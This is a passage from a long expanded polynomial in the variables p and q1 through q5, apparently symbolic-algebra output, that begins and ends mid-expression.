540*p**2*q1*q2**2*q3**3*q4**2 + 60*p**2*q1*q2**2*q3**3*q4*q5**2 - 540*p**2*q1*q2**2*q3**3*q4*q5 + 2160*p**2*q1*q2**2*q3**3*q4 + 60*p**2*q1*q2**2*q3**2*q4**4 + 60*p**2*q1*q2**2*q3**2*q4**3*q5 - 540*p**2*q1*q2**2*q3**2*q4**3 + 60*p**2*q1*q2**2*q3**2*q4**2*q5**2 - 540*p**2*q1*q2**2*q3**2*q4**2*q5 + 2160*p**2*q1*q2**2*q3**2*q4**2 + 60*p**2*q1*q2**2*q3**2*q4*q5**3 - 540*p**2*q1*q2**2*q3**2*q4*q5**2 + 2160*p**2*q1*q2**2*q3**2*q4*q5 - 5040*p**2*q1*q2**2*q3**2*q4 + 60*p**2*q1*q2**2*q3*q4**5 + 60*p**2*q1*q2**2*q3*q4**4*q5 - 540*p**2*q1*q2**2*q3*q4**4 + 60*p**2*q1*q2**2*q3*q4**3*q5**2 - 540*p**2*q1*q2**2*q3*q4**3*q5 + 2160*p**2*q1*q2**2*q3*q4**3 + 60*p**2*q1*q2**2*q3*q4**2*q5**3 - 540*p**2*q1*q2**2*q3*q4**2*q5**2 + 2160*p**2*q1*q2**2*q3*q4**2*q5 - 5040*p**2*q1*q2**2*q3*q4**2 + 60*p**2*q1*q2**2*q3*q4*q5**4 - 540*p**2*q1*q2**2*q3*q4*q5**3 + 2160*p**2*q1*q2**2*q3*q4*q5**2 - 5040*p**2*q1*q2**2*q3*q4*q5 + 7560*p**2*q1*q2**2*q3*q4 + 60*p**2*q1*q2*q3**6*q4 + 60*p**2*q1*q2*q3**5*q4**2 + 60*p**2*q1*q2*q3**5*q4*q5 - 540*p**2*q1*q2*q3**5*q4 + 60*p**2*q1*q2*q3**4*q4**3 + 60*p**2*q1*q2*q3**4*q4**2*q5 - 540*p**2*q1*q2*q3**4*q4**2 + 60*p**2*q1*q2*q3**4*q4*q5**2 - 540*p**2*q1*q2*q3**4*q4*q5 + 2160*p**2*q1*q2*q3**4*q4 + 60*p**2*q1*q2*q3**3*q4**4 + 60*p**2*q1*q2*q3**3*q4**3*q5 - 540*p**2*q1*q2*q3**3*q4**3 + 60*p**2*q1*q2*q3**3*q4**2*q5**2 - 540*p**2*q1*q2*q3**3*q4**2*q5 + 2160*p**2*q1*q2*q3**3*q4**2 + 60*p**2*q1*q2*q3**3*q4*q5**3 - 540*p**2*q1*q2*q3**3*q4*q5**2 + 2160*p**2*q1*q2*q3**3*q4*q5 - 5040*p**2*q1*q2*q3**3*q4 + 60*p**2*q1*q2*q3**2*q4**5 + 60*p**2*q1*q2*q3**2*q4**4*q5 - 540*p**2*q1*q2*q3**2*q4**4 + 60*p**2*q1*q2*q3**2*q4**3*q5**2 - 540*p**2*q1*q2*q3**2*q4**3*q5 + 2160*p**2*q1*q2*q3**2*q4**3 + 60*p**2*q1*q2*q3**2*q4**2*q5**3 - 540*p**2*q1*q2*q3**2*q4**2*q5**2 + 2160*p**2*q1*q2*q3**2*q4**2*q5 - 5040*p**2*q1*q2*q3**2*q4**2 + 60*p**2*q1*q2*q3**2*q4*q5**4 - 540*p**2*q1*q2*q3**2*q4*q5**3 + 2160*p**2*q1*q2*q3**2*q4*q5**2 - 5040*p**2*q1*q2*q3**2*q4*q5 + 7560*p**2*q1*q2*q3**2*q4 + 60*p**2*q1*q2*q3*q4**6 + 60*p**2*q1*q2*q3*q4**5*q5 - 540*p**2*q1*q2*q3*q4**5 + 60*p**2*q1*q2*q3*q4**4*q5**2 - 540*p**2*q1*q2*q3*q4**4*q5 + 2160*p**2*q1*q2*q3*q4**4 + 60*p**2*q1*q2*q3*q4**3*q5**3 - 540*p**2*q1*q2*q3*q4**3*q5**2 + 2160*p**2*q1*q2*q3*q4**3*q5 - 5040*p**2*q1*q2*q3*q4**3 + 60*p**2*q1*q2*q3*q4**2*q5**4 - 540*p**2*q1*q2*q3*q4**2*q5**3 + 2160*p**2*q1*q2*q3*q4**2*q5**2 - 5040*p**2*q1*q2*q3*q4**2*q5 + 7560*p**2*q1*q2*q3*q4**2 + 60*p**2*q1*q2*q3*q4*q5**5 - 540*p**2*q1*q2*q3*q4*q5**4 + 2160*p**2*q1*q2*q3*q4*q5**3 - 5040*p**2*q1*q2*q3*q4*q5**2 + 7560*p**2*q1*q2*q3*q4*q5 - 7560*p**2*q1*q2*q3*q4 - 135*p**2*q2**6*q3*q4 - 135*p**2*q2**5*q3**2*q4 - 135*p**2*q2**5*q3*q4**2 - 135*p**2*q2**5*q3*q4*q5 + 1080*p**2*q2**5*q3*q4 - 135*p**2*q2**4*q3**3*q4 - 135*p**2*q2**4*q3**2*q4**2 - 135*p**2*q2**4*q3**2*q4*q5 + 1080*p**2*q2**4*q3**2*q4 - 135*p**2*q2**4*q3*q4**3 - 135*p**2*q2**4*q3*q4**2*q5 + 1080*p**2*q2**4*q3*q4**2 - 135*p**2*q2**4*q3*q4*q5**2 + 1080*p**2*q2**4*q3*q4*q5 - 3780*p**2*q2**4*q3*q4 - 135*p**2*q2**3*q3**4*q4 - 135*p**2*q2**3*q3**3*q4**2 - 135*p**2*q2**3*q3**3*q4*q5 + 1080*p**2*q2**3*q3**3*q4 - 135*p**2*q2**3*q3**2*q4**3 - 135*p**2*q2**3*q3**2*q4**2*q5 + 1080*p**2*q2**3*q3**2*q4**2 - 135*p**2*q2**3*q3**2*q4*q5**2 + 1080*p**2*q2**3*q3**2*q4*q5 - 3780*p**2*q2**3*q3**2*q4 - 135*p**2*q2**3*q3*q4**4 - 135*p**2*q2**3*q3*q4**3*q5 + 1080*p**2*q2**3*q3*q4**3 - 135*p**2*q2**3*q3*q4**2*q5**2 + 1080*p**2*q2**3*q3*q4**2*q5 - 3780*p**2*q2**3*q3*q4**2 - 135*p**2*q2**3*q3*q4*q5**3 + 1080*p**2*q2**3*q3*q4*q5**2 - 3780*p**2*q2**3*q3*q4*q5 + 7560*p**2*q2**3*q3*q4 - 135*p**2*q2**2*q3**5*q4 - 135*p**2*q2**2*q3**4*q4**2 - 135*p**2*q2**2*q3**4*q4*q5 + 1080*p**2*q2**2*q3**4*q4 - 135*p**2*q2**2*q3**3*q4**3 - 135*p**2*q2**2*q3**3*q4**2*q5 + 1080*p**2*q2**2*q3**3*q4**2 - 135*p**2*q2**2*q3**3*q4*q5**2 + 1080*p**2*q2**2*q3**3*q4*q5 - 3780*p**2*q2**2*q3**3*q4 - 135*p**2*q2**2*q3**2*q4**4 - 135*p**2*q2**2*q3**2*q4**3*q5 + 1080*p**2*q2**2*q3**2*q4**3 - 135*p**2*q2**2*q3**2*q4**2*q5**2 + 1080*p**2*q2**2*q3**2*q4**2*q5 - 3780*p**2*q2**2*q3**2*q4**2 - 135*p**2*q2**2*q3**2*q4*q5**3 + 1080*p**2*q2**2*q3**2*q4*q5**2 - 3780*p**2*q2**2*q3**2*q4*q5 + 7560*p**2*q2**2*q3**2*q4 - 135*p**2*q2**2*q3*q4**5 - 135*p**2*q2**2*q3*q4**4*q5 + 1080*p**2*q2**2*q3*q4**4 - 135*p**2*q2**2*q3*q4**3*q5**2 + 1080*p**2*q2**2*q3*q4**3*q5 - 3780*p**2*q2**2*q3*q4**3 - 135*p**2*q2**2*q3*q4**2*q5**3 + 1080*p**2*q2**2*q3*q4**2*q5**2 - 3780*p**2*q2**2*q3*q4**2*q5 + 7560*p**2*q2**2*q3*q4**2 - 135*p**2*q2**2*q3*q4*q5**4 + 1080*p**2*q2**2*q3*q4*q5**3 - 3780*p**2*q2**2*q3*q4*q5**2 + 7560*p**2*q2**2*q3*q4*q5 - 9450*p**2*q2**2*q3*q4 - 135*p**2*q2*q3**6*q4 - 135*p**2*q2*q3**5*q4**2 - 135*p**2*q2*q3**5*q4*q5 + 1080*p**2*q2*q3**5*q4 - 135*p**2*q2*q3**4*q4**3 - 135*p**2*q2*q3**4*q4**2*q5 + 1080*p**2*q2*q3**4*q4**2 - 135*p**2*q2*q3**4*q4*q5**2 + 1080*p**2*q2*q3**4*q4*q5 - 3780*p**2*q2*q3**4*q4 - 135*p**2*q2*q3**3*q4**4 - 135*p**2*q2*q3**3*q4**3*q5 + 1080*p**2*q2*q3**3*q4**3 - 135*p**2*q2*q3**3*q4**2*q5**2 + 1080*p**2*q2*q3**3*q4**2*q5 - 3780*p**2*q2*q3**3*q4**2 - 135*p**2*q2*q3**3*q4*q5**3 + 1080*p**2*q2*q3**3*q4*q5**2 - 3780*p**2*q2*q3**3*q4*q5 + 7560*p**2*q2*q3**3*q4 - 135*p**2*q2*q3**2*q4**5 - 135*p**2*q2*q3**2*q4**4*q5 + 1080*p**2*q2*q3**2*q4**4 - 135*p**2*q2*q3**2*q4**3*q5**2 + 1080*p**2*q2*q3**2*q4**3*q5 - 3780*p**2*q2*q3**2*q4**3 - 135*p**2*q2*q3**2*q4**2*q5**3 + 1080*p**2*q2*q3**2*q4**2*q5**2 - 3780*p**2*q2*q3**2*q4**2*q5 + 7560*p**2*q2*q3**2*q4**2 - 135*p**2*q2*q3**2*q4*q5**4 + 1080*p**2*q2*q3**2*q4*q5**3 - 3780*p**2*q2*q3**2*q4*q5**2 + 7560*p**2*q2*q3**2*q4*q5 - 9450*p**2*q2*q3**2*q4 - 135*p**2*q2*q3*q4**6 - 135*p**2*q2*q3*q4**5*q5 + 1080*p**2*q2*q3*q4**5 - 135*p**2*q2*q3*q4**4*q5**2 + 1080*p**2*q2*q3*q4**4*q5 - 3780*p**2*q2*q3*q4**4 - 135*p**2*q2*q3*q4**3*q5**3 + 1080*p**2*q2*q3*q4**3*q5**2 - 3780*p**2*q2*q3*q4**3*q5 + 7560*p**2*q2*q3*q4**3 - 135*p**2*q2*q3*q4**2*q5**4 + 1080*p**2*q2*q3*q4**2*q5**3 - 3780*p**2*q2*q3*q4**2*q5**2 + 7560*p**2*q2*q3*q4**2*q5 - 9450*p**2*q2*q3*q4**2 - 135*p**2*q2*q3*q4*q5**5 + 1080*p**2*q2*q3*q4*q5**4 - 3780*p**2*q2*q3*q4*q5**3 + 7560*p**2*q2*q3*q4*q5**2 - 9450*p**2*q2*q3*q4*q5 + 7560*p**2*q2*q3*q4 + 120*p**2*q3**6*q4 + 120*p**2*q3**5*q4**2 + 120*p**2*q3**5*q4*q5 - 840*p**2*q3**5*q4 + 120*p**2*q3**4*q4**3 + 120*p**2*q3**4*q4**2*q5 - 840*p**2*q3**4*q4**2 + 120*p**2*q3**4*q4*q5**2 - 840*p**2*q3**4*q4*q5 + 2520*p**2*q3**4*q4 + 120*p**2*q3**3*q4**4 + 120*p**2*q3**3*q4**3*q5 - 840*p**2*q3**3*q4**3 + 120*p**2*q3**3*q4**2*q5**2 - 840*p**2*q3**3*q4**2*q5 + 2520*p**2*q3**3*q4**2 + 120*p**2*q3**3*q4*q5**3 - 840*p**2*q3**3*q4*q5**2 + 2520*p**2*q3**3*q4*q5 - 4200*p**2*q3**3*q4 + 120*p**2*q3**2*q4**5 + 120*p**2*q3**2*q4**4*q5 - 840*p**2*q3**2*q4**4 + 120*p**2*q3**2*q4**3*q5**2 - 840*p**2*q3**2*q4**3*q5 + 2520*p**2*q3**2*q4**3 + 120*p**2*q3**2*q4**2*q5**3 - 840*p**2*q3**2*q4**2*q5**2 + 2520*p**2*q3**2*q4**2*q5 - 4200*p**2*q3**2*q4**2 + 120*p**2*q3**2*q4*q5**4 - 840*p**2*q3**2*q4*q5**3 + 2520*p**2*q3**2*q4*q5**2 - 4200*p**2*q3**2*q4*q5 + 4200*p**2*q3**2*q4 + 120*p**2*q3*q4**6 + 120*p**2*q3*q4**5*q5 - 840*p**2*q3*q4**5 + 120*p**2*q3*q4**4*q5**2 - 840*p**2*q3*q4**4*q5 + 2520*p**2*q3*q4**4 + 120*p**2*q3*q4**3*q5**3 - 840*p**2*q3*q4**3*q5**2 + 2520*p**2*q3*q4**3*q5 - 4200*p**2*q3*q4**3 + 120*p**2*q3*q4**2*q5**4 - 840*p**2*q3*q4**2*q5**3 + 2520*p**2*q3*q4**2*q5**2 - 4200*p**2*q3*q4**2*q5 + 4200*p**2*q3*q4**2 + 120*p**2*q3*q4*q5**5 - 840*p**2*q3*q4*q5**4 + 2520*p**2*q3*q4*q5**3 - 4200*p**2*q3*q4*q5**2 + 4200*p**2*q3*q4*q5 - 2520*p**2*q3*q4 - 40*p*q1**6*q2*q3*q4 - 40*p*q1**5*q2**2*q3*q4 - 40*p*q1**5*q2*q3**2*q4 - 40*p*q1**5*q2*q3*q4**2 - 40*p*q1**5*q2*q3*q4*q5 + 360*p*q1**5*q2*q3*q4 - 40*p*q1**4*q2**3*q3*q4 - 40*p*q1**4*q2**2*q3**2*q4 - 40*p*q1**4*q2**2*q3*q4**2 - 40*p*q1**4*q2**2*q3*q4*q5 + 360*p*q1**4*q2**2*q3*q4 - 40*p*q1**4*q2*q3**3*q4 - 40*p*q1**4*q2*q3**2*q4**2 - 40*p*q1**4*q2*q3**2*q4*q5 + 360*p*q1**4*q2*q3**2*q4 - 40*p*q1**4*q2*q3*q4**3 - 40*p*q1**4*q2*q3*q4**2*q5 + 360*p*q1**4*q2*q3*q4**2 - 40*p*q1**4*q2*q3*q4*q5**2 + 360*p*q1**4*q2*q3*q4*q5 - 1440*p*q1**4*q2*q3*q4 - 40*p*q1**3*q2**4*q3*q4 - 40*p*q1**3*q2**3*q3**2*q4 - 40*p*q1**3*q2**3*q3*q4**2 - 40*p*q1**3*q2**3*q3*q4*q5 + 360*p*q1**3*q2**3*q3*q4 - 40*p*q1**3*q2**2*q3**3*q4 - 40*p*q1**3*q2**2*q3**2*q4**2 - 40*p*q1**3*q2**2*q3**2*q4*q5 + 360*p*q1**3*q2**2*q3**2*q4 - 40*p*q1**3*q2**2*q3*q4**3 - 40*p*q1**3*q2**2*q3*q4**2*q5 + 360*p*q1**3*q2**2*q3*q4**2 - 40*p*q1**3*q2**2*q3*q4*q5**2 + 360*p*q1**3*q2**2*q3*q4*q5 - 1440*p*q1**3*q2**2*q3*q4 - 40*p*q1**3*q2*q3**4*q4 - 40*p*q1**3*q2*q3**3*q4**2 - 40*p*q1**3*q2*q3**3*q4*q5 + 360*p*q1**3*q2*q3**3*q4 - 40*p*q1**3*q2*q3**2*q4**3 - 40*p*q1**3*q2*q3**2*q4**2*q5 + 360*p*q1**3*q2*q3**2*q4**2 - 40*p*q1**3*q2*q3**2*q4*q5**2 + 360*p*q1**3*q2*q3**2*q4*q5 - 1440*p*q1**3*q2*q3**2*q4 - 40*p*q1**3*q2*q3*q4**4 - 40*p*q1**3*q2*q3*q4**3*q5 + 360*p*q1**3*q2*q3*q4**3 - 40*p*q1**3*q2*q3*q4**2*q5**2 + 360*p*q1**3*q2*q3*q4**2*q5 - 1440*p*q1**3*q2*q3*q4**2 - 40*p*q1**3*q2*q3*q4*q5**3 + 360*p*q1**3*q2*q3*q4*q5**2 - 1440*p*q1**3*q2*q3*q4*q5 + 3360*p*q1**3*q2*q3*q4 - 40*p*q1**2*q2**5*q3*q4 - 40*p*q1**2*q2**4*q3**2*q4 - 40*p*q1**2*q2**4*q3*q4**2 - 40*p*q1**2*q2**4*q3*q4*q5 + 360*p*q1**2*q2**4*q3*q4 - 40*p*q1**2*q2**3*q3**3*q4 - 40*p*q1**2*q2**3*q3**2*q4**2 - 40*p*q1**2*q2**3*q3**2*q4*q5 + 360*p*q1**2*q2**3*q3**2*q4 - 40*p*q1**2*q2**3*q3*q4**3 - 40*p*q1**2*q2**3*q3*q4**2*q5 + 360*p*q1**2*q2**3*q3*q4**2 - 40*p*q1**2*q2**3*q3*q4*q5**2 + 360*p*q1**2*q2**3*q3*q4*q5 - 1440*p*q1**2*q2**3*q3*q4 - 40*p*q1**2*q2**2*q3**4*q4 - 40*p*q1**2*q2**2*q3**3*q4**2 - 40*p*q1**2*q2**2*q3**3*q4*q5 + 360*p*q1**2*q2**2*q3**3*q4 - 40*p*q1**2*q2**2*q3**2*q4**3 - 40*p*q1**2*q2**2*q3**2*q4**2*q5 + 360*p*q1**2*q2**2*q3**2*q4**2 - 40*p*q1**2*q2**2*q3**2*q4*q5**2 + 360*p*q1**2*q2**2*q3**2*q4*q5 - 1440*p*q1**2*q2**2*q3**2*q4 - 40*p*q1**2*q2**2*q3*q4**4 - 40*p*q1**2*q2**2*q3*q4**3*q5 + 360*p*q1**2*q2**2*q3*q4**3 - 40*p*q1**2*q2**2*q3*q4**2*q5**2 + 360*p*q1**2*q2**2*q3*q4**2*q5 - 1440*p*q1**2*q2**2*q3*q4**2 - 40*p*q1**2*q2**2*q3*q4*q5**3 + 360*p*q1**2*q2**2*q3*q4*q5**2 - 1440*p*q1**2*q2**2*q3*q4*q5 + 3360*p*q1**2*q2**2*q3*q4 - 40*p*q1**2*q2*q3**5*q4 - 40*p*q1**2*q2*q3**4*q4**2 - 40*p*q1**2*q2*q3**4*q4*q5 + 360*p*q1**2*q2*q3**4*q4 - 40*p*q1**2*q2*q3**3*q4**3 - 40*p*q1**2*q2*q3**3*q4**2*q5 + 360*p*q1**2*q2*q3**3*q4**2 - 40*p*q1**2*q2*q3**3*q4*q5**2 + 360*p*q1**2*q2*q3**3*q4*q5 - 1440*p*q1**2*q2*q3**3*q4 - 40*p*q1**2*q2*q3**2*q4**4 - 40*p*q1**2*q2*q3**2*q4**3*q5 + 360*p*q1**2*q2*q3**2*q4**3 - 40*p*q1**2*q2*q3**2*q4**2*q5**2 + 360*p*q1**2*q2*q3**2*q4**2*q5 - 1440*p*q1**2*q2*q3**2*q4**2 - 40*p*q1**2*q2*q3**2*q4*q5**3 + 360*p*q1**2*q2*q3**2*q4*q5**2 - 1440*p*q1**2*q2*q3**2*q4*q5 + 3360*p*q1**2*q2*q3**2*q4 - 40*p*q1**2*q2*q3*q4**5 - 40*p*q1**2*q2*q3*q4**4*q5 + 360*p*q1**2*q2*q3*q4**4 - 40*p*q1**2*q2*q3*q4**3*q5**2 + 360*p*q1**2*q2*q3*q4**3*q5 - 1440*p*q1**2*q2*q3*q4**3 - 40*p*q1**2*q2*q3*q4**2*q5**3 + 360*p*q1**2*q2*q3*q4**2*q5**2 - 1440*p*q1**2*q2*q3*q4**2*q5 + 3360*p*q1**2*q2*q3*q4**2 - 40*p*q1**2*q2*q3*q4*q5**4 + 360*p*q1**2*q2*q3*q4*q5**3 - 1440*p*q1**2*q2*q3*q4*q5**2 + 3360*p*q1**2*q2*q3*q4*q5 - 5040*p*q1**2*q2*q3*q4 - 40*p*q1*q2**6*q3*q4 - 40*p*q1*q2**5*q3**2*q4 - 40*p*q1*q2**5*q3*q4**2 - 40*p*q1*q2**5*q3*q4*q5 + 360*p*q1*q2**5*q3*q4 - 40*p*q1*q2**4*q3**3*q4 - 40*p*q1*q2**4*q3**2*q4**2 - 40*p*q1*q2**4*q3**2*q4*q5 + 360*p*q1*q2**4*q3**2*q4 - 40*p*q1*q2**4*q3*q4**3 - 40*p*q1*q2**4*q3*q4**2*q5 + 360*p*q1*q2**4*q3*q4**2 - 40*p*q1*q2**4*q3*q4*q5**2 + 360*p*q1*q2**4*q3*q4*q5 - 1440*p*q1*q2**4*q3*q4 - 40*p*q1*q2**3*q3**4*q4 - 40*p*q1*q2**3*q3**3*q4**2 - 40*p*q1*q2**3*q3**3*q4*q5 + 360*p*q1*q2**3*q3**3*q4 - 40*p*q1*q2**3*q3**2*q4**3 - 40*p*q1*q2**3*q3**2*q4**2*q5 + 360*p*q1*q2**3*q3**2*q4**2 - 40*p*q1*q2**3*q3**2*q4*q5**2 + 360*p*q1*q2**3*q3**2*q4*q5 - 1440*p*q1*q2**3*q3**2*q4 - 40*p*q1*q2**3*q3*q4**4 - 40*p*q1*q2**3*q3*q4**3*q5 + 360*p*q1*q2**3*q3*q4**3 - 40*p*q1*q2**3*q3*q4**2*q5**2 + 360*p*q1*q2**3*q3*q4**2*q5 - 1440*p*q1*q2**3*q3*q4**2 - 40*p*q1*q2**3*q3*q4*q5**3 + 360*p*q1*q2**3*q3*q4*q5**2 - 1440*p*q1*q2**3*q3*q4*q5 + 3360*p*q1*q2**3*q3*q4 - 40*p*q1*q2**2*q3**5*q4 - 40*p*q1*q2**2*q3**4*q4**2 - 40*p*q1*q2**2*q3**4*q4*q5 + 360*p*q1*q2**2*q3**4*q4 - 40*p*q1*q2**2*q3**3*q4**3 - 40*p*q1*q2**2*q3**3*q4**2*q5 + 360*p*q1*q2**2*q3**3*q4**2 - 40*p*q1*q2**2*q3**3*q4*q5**2 + 360*p*q1*q2**2*q3**3*q4*q5 - 1440*p*q1*q2**2*q3**3*q4 - 40*p*q1*q2**2*q3**2*q4**4 - 40*p*q1*q2**2*q3**2*q4**3*q5 + 360*p*q1*q2**2*q3**2*q4**3 - 40*p*q1*q2**2*q3**2*q4**2*q5**2 + 360*p*q1*q2**2*q3**2*q4**2*q5 - 1440*p*q1*q2**2*q3**2*q4**2 - 40*p*q1*q2**2*q3**2*q4*q5**3 + 360*p*q1*q2**2*q3**2*q4*q5**2 - 1440*p*q1*q2**2*q3**2*q4*q5 + 3360*p*q1*q2**2*q3**2*q4 - 40*p*q1*q2**2*q3*q4**5 - 40*p*q1*q2**2*q3*q4**4*q5 + 360*p*q1*q2**2*q3*q4**4 - 40*p*q1*q2**2*q3*q4**3*q5**2 + 360*p*q1*q2**2*q3*q4**3*q5 - 1440*p*q1*q2**2*q3*q4**3 - 40*p*q1*q2**2*q3*q4**2*q5**3 + 360*p*q1*q2**2*q3*q4**2*q5**2 - 1440*p*q1*q2**2*q3*q4**2*q5 + 3360*p*q1*q2**2*q3*q4**2 - 40*p*q1*q2**2*q3*q4*q5**4 + 360*p*q1*q2**2*q3*q4*q5**3 - 1440*p*q1*q2**2*q3*q4*q5**2 + 3360*p*q1*q2**2*q3*q4*q5 - 5040*p*q1*q2**2*q3*q4 - 40*p*q1*q2*q3**6*q4 - 40*p*q1*q2*q3**5*q4**2 - 40*p*q1*q2*q3**5*q4*q5 + 360*p*q1*q2*q3**5*q4 - 40*p*q1*q2*q3**4*q4**3 - 40*p*q1*q2*q3**4*q4**2*q5 + 360*p*q1*q2*q3**4*q4**2 - 40*p*q1*q2*q3**4*q4*q5**2 + 360*p*q1*q2*q3**4*q4*q5 - 1440*p*q1*q2*q3**4*q4 - 40*p*q1*q2*q3**3*q4**4 - 40*p*q1*q2*q3**3*q4**3*q5 + 360*p*q1*q2*q3**3*q4**3 - 40*p*q1*q2*q3**3*q4**2*q5**2 + 360*p*q1*q2*q3**3*q4**2*q5 - 1440*p*q1*q2*q3**3*q4**2 - 40*p*q1*q2*q3**3*q4*q5**3 + 360*p*q1*q2*q3**3*q4*q5**2 - 1440*p*q1*q2*q3**3*q4*q5 + 3360*p*q1*q2*q3**3*q4 - 40*p*q1*q2*q3**2*q4**5 - 40*p*q1*q2*q3**2*q4**4*q5 + 360*p*q1*q2*q3**2*q4**4 - 40*p*q1*q2*q3**2*q4**3*q5**2 + 360*p*q1*q2*q3**2*q4**3*q5 - 1440*p*q1*q2*q3**2*q4**3 - 40*p*q1*q2*q3**2*q4**2*q5**3 + 360*p*q1*q2*q3**2*q4**2*q5**2 - 1440*p*q1*q2*q3**2*q4**2*q5 + 3360*p*q1*q2*q3**2*q4**2 - 40*p*q1*q2*q3**2*q4*q5**4 + 360*p*q1*q2*q3**2*q4*q5**3 - 1440*p*q1*q2*q3**2*q4*q5**2 + 3360*p*q1*q2*q3**2*q4*q5 - 5040*p*q1*q2*q3**2*q4 - 40*p*q1*q2*q3*q4**6 - 40*p*q1*q2*q3*q4**5*q5 + 360*p*q1*q2*q3*q4**5 - 40*p*q1*q2*q3*q4**4*q5**2 + 360*p*q1*q2*q3*q4**4*q5 - 1440*p*q1*q2*q3*q4**4 - 40*p*q1*q2*q3*q4**3*q5**3 + 360*p*q1*q2*q3*q4**3*q5**2 - 1440*p*q1*q2*q3*q4**3*q5 + 3360*p*q1*q2*q3*q4**3 - 40*p*q1*q2*q3*q4**2*q5**4 + 360*p*q1*q2*q3*q4**2*q5**3 - 1440*p*q1*q2*q3*q4**2*q5**2 + 3360*p*q1*q2*q3*q4**2*q5 - 5040*p*q1*q2*q3*q4**2 - 40*p*q1*q2*q3*q4*q5**5 + 360*p*q1*q2*q3*q4*q5**4 - 1440*p*q1*q2*q3*q4*q5**3 + 3360*p*q1*q2*q3*q4*q5**2 - 5040*p*q1*q2*q3*q4*q5 + 5040*p*q1*q2*q3*q4 + 45*p*q2**6*q3*q4 + 45*p*q2**5*q3**2*q4 + 45*p*q2**5*q3*q4**2 + 45*p*q2**5*q3*q4*q5 - 360*p*q2**5*q3*q4 + 45*p*q2**4*q3**3*q4 + 45*p*q2**4*q3**2*q4**2 + 45*p*q2**4*q3**2*q4*q5 - 360*p*q2**4*q3**2*q4 + 45*p*q2**4*q3*q4**3 + 45*p*q2**4*q3*q4**2*q5 - 360*p*q2**4*q3*q4**2 + 45*p*q2**4*q3*q4*q5**2 - 360*p*q2**4*q3*q4*q5 + 1260*p*q2**4*q3*q4 + 45*p*q2**3*q3**4*q4 + 45*p*q2**3*q3**3*q4**2 + 45*p*q2**3*q3**3*q4*q5 - 360*p*q2**3*q3**3*q4 + 45*p*q2**3*q3**2*q4**3 + 45*p*q2**3*q3**2*q4**2*q5 - 360*p*q2**3*q3**2*q4**2 + 45*p*q2**3*q3**2*q4*q5**2 - 360*p*q2**3*q3**2*q4*q5 + 1260*p*q2**3*q3**2*q4 + 45*p*q2**3*q3*q4**4 + 45*p*q2**3*q3*q4**3*q5 - 360*p*q2**3*q3*q4**3 + 45*p*q2**3*q3*q4**2*q5**2 - 360*p*q2**3*q3*q4**2*q5 + 1260*p*q2**3*q3*q4**2 + 45*p*q2**3*q3*q4*q5**3 - 360*p*q2**3*q3*q4*q5**2 + 1260*p*q2**3*q3*q4*q5 - 2520*p*q2**3*q3*q4 + 45*p*q2**2*q3**5*q4 + 45*p*q2**2*q3**4*q4**2 + 45*p*q2**2*q3**4*q4*q5 - 360*p*q2**2*q3**4*q4 + 45*p*q2**2*q3**3*q4**3 + 45*p*q2**2*q3**3*q4**2*q5 - 360*p*q2**2*q3**3*q4**2 + 45*p*q2**2*q3**3*q4*q5**2 - 360*p*q2**2*q3**3*q4*q5 + 1260*p*q2**2*q3**3*q4 + 45*p*q2**2*q3**2*q4**4 + 45*p*q2**2*q3**2*q4**3*q5 - 360*p*q2**2*q3**2*q4**3 + 45*p*q2**2*q3**2*q4**2*q5**2 - 360*p*q2**2*q3**2*q4**2*q5 + 1260*p*q2**2*q3**2*q4**2 + 45*p*q2**2*q3**2*q4*q5**3 - 360*p*q2**2*q3**2*q4*q5**2 + 1260*p*q2**2*q3**2*q4*q5 - 2520*p*q2**2*q3**2*q4 + 45*p*q2**2*q3*q4**5 + 45*p*q2**2*q3*q4**4*q5 - 360*p*q2**2*q3*q4**4 + 45*p*q2**2*q3*q4**3*q5**2 - 360*p*q2**2*q3*q4**3*q5 + 1260*p*q2**2*q3*q4**3 + 45*p*q2**2*q3*q4**2*q5**3 - 360*p*q2**2*q3*q4**2*q5**2 + 1260*p*q2**2*q3*q4**2*q5 - 2520*p*q2**2*q3*q4**2 + 45*p*q2**2*q3*q4*q5**4 - 360*p*q2**2*q3*q4*q5**3 + 1260*p*q2**2*q3*q4*q5**2 - 2520*p*q2**2*q3*q4*q5 + 3150*p*q2**2*q3*q4 + 45*p*q2*q3**6*q4 + 45*p*q2*q3**5*q4**2 + 45*p*q2*q3**5*q4*q5 - 360*p*q2*q3**5*q4 + 45*p*q2*q3**4*q4**3 + 45*p*q2*q3**4*q4**2*q5 - 360*p*q2*q3**4*q4**2 + 45*p*q2*q3**4*q4*q5**2 - 360*p*q2*q3**4*q4*q5 + 1260*p*q2*q3**4*q4 + 45*p*q2*q3**3*q4**4 + 45*p*q2*q3**3*q4**3*q5 - 360*p*q2*q3**3*q4**3 + 45*p*q2*q3**3*q4**2*q5**2 - 360*p*q2*q3**3*q4**2*q5 + 1260*p*q2*q3**3*q4**2 + 45*p*q2*q3**3*q4*q5**3 - 360*p*q2*q3**3*q4*q5**2 + 1260*p*q2*q3**3*q4*q5 - 2520*p*q2*q3**3*q4 + 45*p*q2*q3**2*q4**5 + 45*p*q2*q3**2*q4**4*q5 - 360*p*q2*q3**2*q4**4 + 45*p*q2*q3**2*q4**3*q5**2 - 360*p*q2*q3**2*q4**3*q5 + 1260*p*q2*q3**2*q4**3 + 45*p*q2*q3**2*q4**2*q5**3 - 360*p*q2*q3**2*q4**2*q5**2 + 1260*p*q2*q3**2*q4**2*q5 - 2520*p*q2*q3**2*q4**2 + 45*p*q2*q3**2*q4*q5**4 - 360*p*q2*q3**2*q4*q5**3 + 1260*p*q2*q3**2*q4*q5**2 - 2520*p*q2*q3**2*q4*q5 + 3150*p*q2*q3**2*q4 + 45*p*q2*q3*q4**6 + 45*p*q2*q3*q4**5*q5 - 360*p*q2*q3*q4**5 + 45*p*q2*q3*q4**4*q5**2 - 360*p*q2*q3*q4**4*q5 + 1260*p*q2*q3*q4**4 + 45*p*q2*q3*q4**3*q5**3 - 360*p*q2*q3*q4**3*q5**2 + 1260*p*q2*q3*q4**3*q5 - 2520*p*q2*q3*q4**3 + 45*p*q2*q3*q4**2*q5**4 - 360*p*q2*q3*q4**2*q5**3 + 1260*p*q2*q3*q4**2*q5**2 - 2520*p*q2*q3*q4**2*q5 + 3150*p*q2*q3*q4**2 + 45*p*q2*q3*q4*q5**5 - 360*p*q2*q3*q4*q5**4 + 1260*p*q2*q3*q4*q5**3 - 2520*p*q2*q3*q4*q5**2 + 3150*p*q2*q3*q4*q5 - 2520*p*q2*q3*q4 + 10*q1**6*q2*q3*q4 + 10*q1**5*q2**2*q3*q4 + 10*q1**5*q2*q3**2*q4 + 